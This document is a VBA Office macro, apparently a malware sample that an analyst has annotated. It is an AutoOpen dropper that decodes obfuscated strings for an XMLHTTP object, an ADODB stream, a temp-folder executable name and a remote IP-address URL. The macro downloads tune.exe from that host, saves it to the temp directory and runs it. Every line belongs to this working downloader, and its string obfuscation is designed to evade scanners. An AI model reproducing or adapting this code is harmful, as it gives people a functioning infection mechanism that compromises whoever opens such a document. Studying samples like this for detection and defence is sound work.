' tidied with comments

Sub AutoOpen()

' ADODB.Streaam
goabay = "xAiDVOaDwBl.1S/t-r5e3a-m"
vfeamgly = 2
kiazv = 12
coimc = vfeamgly

While aerty80 < kiazv
quhxay = quhxay + Right(Left(goabay, vfeamgly), 1)
vfeamgly = vfeamgly + coimc
kiazv = kiazv - 1
Wend

' \shiozmmsh4.exe
yaycyn = "9\as.h(i*o+z+mwmesih74y.feexde"
odpjra = 2
iokae = 15
uyeye1 = odpjra

While njbpivte < iokae
gngciyaa = gngciyaa + Right(Left(yaycyn, odpjra), 1)
odpjra = odpjra + uyeye1
iokae = iokae - 1
Wend

' Microsoft.XMLHTTP
ldvjamy00 = "k-hMwPiiy-9c3*ur15yo)3as)47oNi/f3aht)am.o37XLo7M1I=Lt/OHe_jT0a6Tu6iP"
doeipcp = 4
hpzauzpo1 = 17
rraohz = doeipcp

While jave < hpzauzpo1
ybgilw = ybgilw + Right(Left(ldvjamy00, doeipcp), 1)
doeipcp = doeipcp + rraohz
hpzauzpo1 = hpzauzpo1 - 1
Wend

' http://45.136.111.47/tune.exe
lnnrisrk73 = "7=2hn8utBYat-orp).U:+,*/O*4/74i44iz5O15.0o61co83y,m6 jt.u5u1y/91e8r1YyQ.66Z484,7\21/o9-t1k0u3e7nAv^ej:a.e7Te9E(x8cee"
azxuu96 = 4
rmsokdui = 29
hgapmy = azxuu96

While zouea < rmsokdui
dfyui = dfyui + Right(Left(lnnrisrk73, azxuu96), 1)
azxuu96 = azxuu96 + hgapmy
rmsokdui = rmsokdui - 1
Wend

Set yghtryi = CreateObject(ybgilw)

iowda = "get"

If QBColor(2) = 32768 Then
yghtryi.Open iowda, dfyui, 0
End If

yghtryi.send
Set hdhjckyu8 = CreateObject(quhxay)
hdhjckyu8.Open
hdhjckyu8.Type = 1
aiuvl = yghtryi.responseBody
hdhjckyu8.write aiuvl
krqaiy1 = Environ("tmp") & gngciyaa
hdhjckyu8.savetofile krqaiy1, 2
hdhjckyu8.Close
Shell$ Environ("tmp") & gngciyaa

End Sub